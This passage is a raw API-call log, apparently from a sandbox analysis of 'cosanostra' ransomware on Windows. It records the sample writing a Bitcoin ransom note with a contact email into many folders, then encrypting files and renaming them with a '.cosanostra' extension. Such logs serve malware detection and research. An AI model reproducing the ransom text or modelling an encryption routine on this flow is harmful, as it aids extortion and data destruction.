(lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.639] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfaa0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfaa0*=0x2ac, lpOverlapped=0x0) returned 1 [0081.639] CloseHandle (hObject=0x154) returned 1 [0081.639] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.787] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.787] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8db*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfa9c, lpOverlapped=0x0 | out: lpBuffer=0x2abf8db*, lpNumberOfBytesWritten=0x2abfa9c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.787] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.787] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfa9c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfa9c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.787] CloseHandle (hObject=0x154) returned 1 [0081.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.788] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.788] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8d7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfa98, lpOverlapped=0x0 | out: lpBuffer=0x2abf8d7*, lpNumberOfBytesWritten=0x2abfa98*=0x1bf, lpOverlapped=0x0) returned 1 [0081.789] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.789] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfa98, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfa98*=0x2ac, lpOverlapped=0x0) returned 1 [0081.789] CloseHandle (hObject=0x154) returned 1 [0081.790] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa38 | out: pbBuffer=0x2abfa38) returned 1 [0081.790] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa30*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa30*=0x30) returned 1 [0081.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmieventdata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.790] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa30 | out: pbBuffer=0x2abfa30) returned 1 [0081.790] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa28*=0x30) returned 1 [0081.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.790] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned 66 [0081.790] StrStrW (lpFirst="RacWmiDataBookmarks.dat", lpSrch=".txt") returned 0x0 [0081.792] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.792] WriteFile (in: hFile=0x154, lpBuffer=0x287138*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf9ec, lpOverlapped=0x0 | out: lpBuffer=0x287138*, lpNumberOfBytesWritten=0x2abf9ec*=0x2800, lpOverlapped=0x0) returned 1 [0081.792] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.792] WriteFile (in: hFile=0x154, lpBuffer=0x2abfa2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2abfa2c*, lpNumberOfBytesWritten=0x2abf9ec*=0x4, lpOverlapped=0x0) returned 1 [0081.792] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf9ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf9ec*=0x30, lpOverlapped=0x0) returned 1 [0081.794] CloseHandle (hObject=0x154) returned 1 [0081.796] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.cosanostra") returned 77 [0081.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.cosanostra" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat.cosanostra")) returned 1 [0081.796] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa30 | out: pbBuffer=0x2abfa30) returned 1 [0081.796] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa28*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa28*=0x30) returned 1 [0081.797] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.797] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa28 | out: pbBuffer=0x2abfa28) returned 1 [0081.797] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa20*=0x30) returned 1 [0081.797] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.798] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.798] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8c3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfa84, lpOverlapped=0x0 | out: lpBuffer=0x2abf8c3*, lpNumberOfBytesWritten=0x2abfa84*=0x1bf, lpOverlapped=0x0) returned 1 [0081.799] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.799] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfa84, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfa84*=0x2ac, lpOverlapped=0x0) returned 1 [0081.799] CloseHandle (hObject=0x154) returned 1 [0081.799] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa20 | out: pbBuffer=0x2abfa20) returned 1 [0081.799] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa18*=0x30) returned 1 [0081.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.800] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.800] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8bb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfa7c, lpOverlapped=0x0 | out: lpBuffer=0x2abf8bb*, lpNumberOfBytesWritten=0x2abfa7c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.800] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.800] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfa7c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfa7c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.801] CloseHandle (hObject=0x154) returned 1 [0081.986] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.986] WriteFile (in: hFile=0x154, lpBuffer=0x2abf8b3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfa74, lpOverlapped=0x0 | out: lpBuffer=0x2abf8b3*, lpNumberOfBytesWritten=0x2abfa74*=0x1bf, lpOverlapped=0x0) returned 1 [0081.987] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.987] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfa74, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfa74*=0x2ac, lpOverlapped=0x0) returned 1 [0081.987] CloseHandle (hObject=0x154) returned 1 [0081.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa08 | out: pbBuffer=0x2abfa08) returned 1 [0081.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abfa00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abfa00*=0x30) returned 1 [0081.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.993] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121 [0081.993] StrStrW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch=".txt") returned 0x0 [0082.039] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.039] WriteFile (in: hFile=0x154, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x2abf9c4*=0x2800, lpOverlapped=0x0) returned 1 [0082.039] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.040] WriteFile (in: hFile=0x154, lpBuffer=0x2abfa04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x2abfa04*, lpNumberOfBytesWritten=0x2abf9c4*=0x4, lpOverlapped=0x0) returned 1 [0082.352] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf9c4*=0x30, lpOverlapped=0x0) returned 1 [0082.352] CloseHandle (hObject=0x154) returned 1 [0082.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.cosanostra" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.cosanostra")) returned 1 [0082.353] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa00 | out: pbBuffer=0x2abfa00) returned 1 [0082.354] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9f8*=0x30) returned 1 [0082.354] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\.." (normalized: "c:\\recovery"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.373] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfa00 | out: pbBuffer=0x2abfa00) returned 1 [0082.373] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9f8*=0x30) returned 1 [0082.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0082.424] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 84 [0082.424] StrStrW (lpFirst="AdobeSysFnt10.lst", lpSrch=".txt") returned 0x0 [0082.897] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.898] WriteFile (in: hFile=0x178, lpBuffer=0x2ba0f0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ba0f0*, lpNumberOfBytesWritten=0x2abf9bc*=0x2800, lpOverlapped=0x0) returned 1 [0082.898] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.898] WriteFile (in: hFile=0x178, lpBuffer=0x2abf9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf9bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf9fc*, lpNumberOfBytesWritten=0x2abf9bc*=0x4, lpOverlapped=0x0) returned 1 [0083.246] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf9bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf9bc*=0x30, lpOverlapped=0x0) returned 1 [0083.247] CloseHandle (hObject=0x178) returned 1 [0083.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.cosanostra")) returned 1 [0083.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf9f8 | out: pbBuffer=0x2abf9f8) returned 1 [0083.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf9f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf9f0*=0x30) returned 1 [0083.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0083.249] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 83 [0083.249] StrStrW (lpFirst="SharedDataEvents", lpSrch=".txt") returned 0x0 [0083.502] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffec00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.502] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, 